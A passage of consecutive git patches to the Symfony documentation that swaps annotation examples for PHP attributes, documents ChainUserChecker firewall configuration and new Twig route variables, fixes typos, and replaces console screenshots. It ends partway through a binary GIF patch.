-             * Require ROLE_SUPER_ADMIN only for this action
-             *
-             * @IsGranted("ROLE_SUPER_ADMIN")
-             */
-            public function adminDashboard(): Response
-            {
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Controller/AdminController.php
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index a0517d8e937..b6a99ecef85 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -551,30 +551,6 @@ to inject the ``logger`` service, and decide to use setter-injection:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Util/Rot13Transformer.php
-        namespace App\Util;
-
-        class Rot13Transformer
-        {
-            private $logger;
-
-            /**
-             * @required
-             */
-            public function setLogger(LoggerInterface $logger): void
-            {
-                $this->logger = $logger;
-            }
-
-            public function transform($value): string
-            {
-                $this->logger->info('Transforming '.$value);
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Util/Rot13Transformer.php
@@ -612,22 +588,6 @@ typed properties:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        namespace App\Util;
-
-        class Rot13Transformer
-        {
-            /** @required */
-            public LoggerInterface $logger;
-
-            public function transform($value)
-            {
-                $this->logger->info('Transforming '.$value);
-                // ...
-            }
-        }
-
     .. code-block:: php-attributes
 
         namespace App\Util;
diff --git a/service_container/calls.rst b/service_container/calls.rst
index 0fb2f0d2462..48b8640d516 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -6,7 +6,7 @@ Service Method Calls and Setter Injection
 
 .. tip::
 
-    If you're using autowiring, you can use ``#[Required]`` or ``@required`` to
+    If you're using autowiring, you can use ``#[Required]`` to
     :ref:`automatically configure method calls <autowiring-calls>`.
 
 Usually, you'll want to inject your dependencies via the constructor. But sometimes,
@@ -145,13 +145,13 @@ The configuration to tell the container it should do so would be like:
 
 .. tip::
 
-    If autowire is enabled, you can also use annotations; with the previous
+    If autowire is enabled, you can also use attributes; with the previous
     example it would be::
 
         /**
-         * @required
          * @return static
          */
+        #[Required]
         public function withLogger(LoggerInterface $logger)
         {
             $new = clone $this;
@@ -162,6 +162,6 @@ The configuration to tell the container it should do so would be like:
 
     You can also leverage the PHP 8 ``static`` return type instead of the
     ``@return static`` annotation. If you don't want a method with a
-    PHP 8 ``static`` return type and a ``@required`` annotation to behave as
+    PHP 8 ``static`` return type and a ``#[Required]`` attribute to behave as
     a wither, you can add a ``@return $this`` annotation to disable the
     *returns clone* feature.
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 3e2ca6dd2b9..aa3d08aa948 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -16,22 +16,6 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Validator/ContainsAlphanumeric.php
-        namespace App\Validator;
-
-        use Symfony\Component\Validator\Constraint;
-
-        /**
-         * @Annotation
-         */
-        class ContainsAlphanumeric extends Constraint
-        {
-            public $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
-            public $mode = 'strict'; // If the constraint has configuration options, define them as public properties
-        }
-
     .. code-block:: php-attributes
 
         // src/Validator/ContainsAlphanumeric.php
@@ -248,21 +232,6 @@ not to the property:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/AcmeEntity.php
-        namespace App\Entity;
-
-        use App\Validator as AcmeAssert;
-
-        /**
-         * @AcmeAssert\ProtocolClass
-         */
-        class AcmeEntity
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/AcmeEntity.php

From 0a65292b8695563d7e01c5691fbd0e7b3f9365e2 Mon Sep 17 00:00:00 2001
From: Michael Babker <michael.babker@gmail.com>
Date: Thu, 15 Sep 2022 20:50:47 -0400
Subject: [PATCH 3656/7107] Add docs covering the ChainUserChecker

---
 security/user_checkers.rst | 145 +++++++++++++++++++++++++++++++++++++
 1 file changed, 145 insertions(+)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 32349020a50..3c13a57e239 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -116,3 +116,148 @@ is the service id of your user checker:
                 // ...
             ;
         };
+
+Using Multiple User Checkers
+----------------------------
+
+.. versionadded:: 6.2
+
+    The ``ChainUserChecker`` class was added in Symfony 6.2.
+
+It is common for applications to have multiple authentication entry points (such as
+traditional form based login and an API) which may have unique checker rules for each
+entry point as well as common rules for all entry points. To allow using multiple user
+checkers on a firewall, a service for the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserChecker`
+class is created for each firewall.
+
+To use the chain user checker, first you will need to tag your user checker services with the
+``security.user_checker.<firewall>`` tag (where ``<firewall>`` is the name of the firewall
+in your security configuration). The service tag also supports the priority attribute, allowing you to define the
+order in which user checkers are called::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+
+        # ...
+        services:
+            App\Security\AccountEnabledUserChecker:
+                tags:
+                    - { name: security.user_checker.api, priority: 10 }
+                    - { name: security.user_checker.main, priority: 10 }
+
+            App\Security\APIAccessAllowedUserChecker:
+                tags:
+                    - { name: security.user_checker.api, priority: 5 }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <service id="App\Security\AccountEnabledUserChecker">
+                    <tag name="security.user_checker.api" priority="10"/>
+                    <tag name="security.user_checker.main" priority="10"/>
+                </service>
+
+                <service id="App\Security\APIAccessAllowedUserChecker">
+                    <tag name="security.user_checker.api" priority="5"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Security\AccountEnabledUserChecker;
+        use App\Security\APIAccessAllowedUserChecker;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(AccountEnabledUserChecker::class)
+                ->tag('security.user_checker.api', ['priority' => 10])
+                ->tag('security.user_checker.main', ['priority' => 10]);
+
+            $services->set(APIAccessAllowedUserChecker::class)
+                ->tag('security.user_checker.api', ['priority' => 5]);
+        };
+
+Once your checker services are tagged, next you will need configure your firewalls to use the
+``security.user_checker.chain.<firewall>`` service::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+
+        # ...
+        security:
+            firewalls:
+                api:
+                    pattern: ^/api
+                    user_checker: security.user_checker.chain.api
+                    # ...
+                main:
+                    pattern: ^/
+                    user_checker: security.user_checker.chain.main
+                    # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+                <firewall name="api"
+                        pattern="^/api"
+                        user-checker="security.user_checker.chain.api">
+                    <!-- ... -->
+                </firewall>
+                <firewall name="main"
+                        pattern="^/"
+                        user-checker="security.user_checker.chain.main">
+                    <!-- ... -->
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->firewall('api')
+                ->pattern('^/api')
+                ->userChecker('security.user_checker.chain.api')
+                // ...
+            ;
+
+            $security->firewall('main')
+                ->pattern('^/')
+                ->userChecker('security.user_checker.chain.main')
+                // ...
+            ;
+        };

From 6b03a182d7131507e3852982897de840f6eebaa3 Mon Sep 17 00:00:00 2001
From: matheo <matheo.daninos@gmail.com>
Date: Thu, 15 Sep 2022 19:20:38 +0200
Subject: [PATCH 3657/7107] [EventDispatcher] Fix typo in reference events

---
 reference/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index c55bfdcc824..3c327e86949 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -54,8 +54,8 @@ their priorities:
 
 **Event Class**: :class:`Symfony\\Component\\HttpKernel\\Event\\ControllerEvent`
 
-This event is dispatched after the controller to be executed has been resolved
-but before executing it. It's useful to initialize things later needed by the
+This event is dispatched after the controller has been resolved but before executing
+it. It's useful to initialize things later needed by the
 controller, such as `param converters`_, and even to change the controller
 entirely::
 

From d782473af5d80d0f6ed06ceef43098cf409f493c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 17:00:49 +0200
Subject: [PATCH 3658/7107] Minor tweak

---
 components/validator/resources.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 6347c296217..e32ed08d9e0 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -114,7 +114,7 @@ If you use annotations instead of attributes, it's also required to call
 
     $validator = Validation::createValidatorBuilder()
         ->enableAnnotationMapping()
-        ->addDefaultDoctrineAnnotationReader()  // Only if annotations are used
+        ->addDefaultDoctrineAnnotationReader() // add this only when using annotations
         ->getValidator();
 
 To disable the annotation loader after it was enabled, call

From 94ce04af40c37ed90f623969a4994b64411abe7e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Sep 2022 17:14:55 +0200
Subject: [PATCH 3659/7107] Adding all rpm commands

It's just 4 commands - so it's easier to show them all in both versions, rather than explaining the rule **twice** ;-)
Besides, it's now copy-pastable.
---
 frontend/encore/simple-example.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 21a3bad9093..eba2412bca2 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -68,22 +68,26 @@ To build the assets, run the following if you use the Yarn package manager:
 
     # compile assets and automatically re-compile when files change
     $ yarn watch
-
-    # if using npm, use "npm run" and then any of these commands
+    # or
     $ npm run watch
 
     # or, run a dev-server that can sometimes update your code without refreshing the page
     $ yarn dev-server
-
+    # or
+    $ npm run dev-server
+    
     # compile assets once
     $ yarn dev
+    # or
+    $ npm run dev
 
     # on deploy, create a production build
     $ yarn build
+    # or
+    $ npm run build
 
 All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
-in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
-with ``npm run``.
+in your ``package.json`` file.
 
 .. note::
 

From 2319d501ed62cb9d419c0ff27d27513b218e3900 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Sep 2022 17:19:02 +0200
Subject: [PATCH 3660/7107] Promoting encore restart note

...cause it's somewhat counter-intuitive that restart is required even when `watch` is running.
---
 frontend/encore/simple-example.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 21a3bad9093..eef08de0207 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -85,9 +85,9 @@ All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defin
 in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
 with ``npm run``.
 
-.. note::
+.. caution::
 
-    Stop and restart ``encore`` each time you update your ``webpack.config.js`` file.
+    Whenever you make changes in your ``webpack.config.js`` file, you need to stop and restart ``encore``.
 
 Congrats! You now have three new files:
 

From 2375fdf52b5410083da0850c61ca3657c9af32f7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 17:24:14 +0200
Subject: [PATCH 3661/7107] [Security] Remove an unused reference

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index b8ac023e391..c70b01d8652 100644
--- a/security.rst
+++ b/security.rst
@@ -2621,7 +2621,6 @@ Authorization (Denying Access)
     security/access_denied_handler
     security/force_https
 
-.. _`FrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
 .. _`brute force login attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks

From f21d205ac732f022e1cadf99bc25f00965c0f154 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 20:24:13 +0200
Subject: [PATCH 3662/7107] [Form] Fix a minor syntax issue

---
 reference/forms/types/options/label.rst.inc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc
index 471d8267082..8796af61974 100644
--- a/reference/forms/types/options/label.rst.inc
+++ b/reference/forms/types/options/label.rst.inc
@@ -4,7 +4,7 @@
 **type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name
 
 Sets the label that will be used when rendering the field. Setting to ``false``
-will suppress the label.
+will suppress the label::
 
     use Symfony\Component\Translation\TranslatableMessage;
 

From f8a6efa4c43e2b46cd9540cfb444054cb27ecefc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Sep 2022 17:11:43 +0200
Subject: [PATCH 3663/7107] [Twig] Document the new methods of AppVariable

---
 templates.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/templates.rst b/templates.rst
index 1e1107e4446..0939e0616d1 100644
--- a/templates.rst
+++ b/templates.rst
@@ -377,6 +377,17 @@ gives you access to these variables:
 ``app.token``
     A :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
     object representing the security token.
+``app.current_route``
+    The name of the route associated to the current request or ``null`` if no
+    request is available (equivalent to ``app.request.attributes.get('_route')``)
+``app.current_route_parameters``
+    An array with the parameters passed to the route of the current request or an
+    empty array if no request is available (equivalent to ``app.request.attributes.get('_route_params')``)
+
+.. versionadded:: 6.2
+
+    The ``app.current_route`` and ``app.current_route_parameters`` variables
+    were introduced in Symfony 6.2.
 
 In addition to the global ``app`` variable injected by Symfony, you can also
 :doc:`inject variables automatically to all Twig templates </templating/global_variables>`.

From 3c35bf4abd1b9bad8e2fbe6762be0e6613312874 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 17 Sep 2022 10:42:26 +0200
Subject: [PATCH 3664/7107] [#17275] fix typo

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 0939e0616d1..3ee4fd7dc4a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -378,7 +378,7 @@ gives you access to these variables:
     A :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
     object representing the security token.
 ``app.current_route``
-    The name of the route associated to the current request or ``null`` if no
+    The name of the route associated with the current request or ``null`` if no
     request is available (equivalent to ``app.request.attributes.get('_route')``)
 ``app.current_route_parameters``
     An array with the parameters passed to the route of the current request or an

From 8f9a5e04b652f882e570f16961eda6a9e7ba5384 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 17 Sep 2022 11:25:27 +0200
Subject: [PATCH 3665/7107] [Routing] Improve current route block

---
 routing.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index bb4ab688e7f..a0f65a59611 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1545,15 +1545,19 @@ information in a controller via the ``Request`` object::
 You can get this information in services too injecting the ``request_stack``
 service to :doc:`get the Request object in a service </service_container/request>`.
 In templates, use the :ref:`Twig global app variable <twig-app-variable>` to get
-the request and its attributes:
+the current route and its attributes:
 
 .. code-block:: twig
 
-    {% set route_name = app.request.attributes.get('_route') %}
-    {% set route_parameters = app.request.attributes.get('_route_params') %}
+    {% set route_name = app.current_route %}
+    {% set route_parameters = app.current_route_parameters %}
 
-    {# use this to get all the available attributes (not only routing ones) #}
-    {% set all_attributes = app.request.attributes.all %}
+.. versionadded:: 6.2
+
+    The ``app.current_route`` and ``app.current_route_parameters`` variables
+    were introduced in Symfony 6.2.
+    Before you had to access ``_route`` and ``_route_params`` request
+    attributes using ``app.request.attributes.get()``.
 
 Special Routes
 --------------

From 8bd5eef4bc085a7565dbd3f8c66e710a5bb59427 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 15 Sep 2022 17:32:30 +0200
Subject: [PATCH 3666/7107] [Console] Create consistent console screenshots

---
 _images/components/console/completion.gif     | Bin 154106 -> 86358 bytes
 _images/components/console/cursor.gif         | Bin 64894 -> 15042 bytes
 .../components/console/debug_formatter.png    | Bin 178248 -> 16828 bytes
 .../console/process-helper-debug.png          | Bin 28822 -> 19117 bytes
 .../console/process-helper-error-debug.png    | Bin 19108 -> 13406 bytes
 .../console/process-helper-verbose.png        | Bin 14289 -> 9154 bytes
 _images/components/console/progress.png       | Bin 3365 -> 0 bytes
 _images/components/console/progressbar.gif    | Bin 29016 -> 29886 bytes
 _images/sources/README.md                     |  60 ++++++++++++++----
 _images/sources/ascii-render.sh               |  24 +++++++
 .../components/console/completion.cast        |  37 +++++++++++
 .../sources/components/console/cursor.cast    |  49 ++++++++++++++
 .../sources/components/console/progress.cast  |  57 +++++++++++++++++
 .../console/helpers/debug_formatter.rst       |   4 +-
 14 files changed, 217 insertions(+), 14 deletions(-)
 delete mode 100644 _images/components/console/progress.png
 create mode 100755 _images/sources/ascii-render.sh
 create mode 100644 _images/sources/components/console/completion.cast
 create mode 100644 _images/sources/components/console/cursor.cast
 create mode 100644 _images/sources/components/console/progress.cast

diff --git a/_images/components/console/completion.gif b/_images/components/console/completion.gif
index 011ae0b935e51f8cd41a291e9f2c0d0e3d422259..18b3f5475c87b63aa85d2da075d2464f95e6ffba 100644
GIT binary patch
literal 86358
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
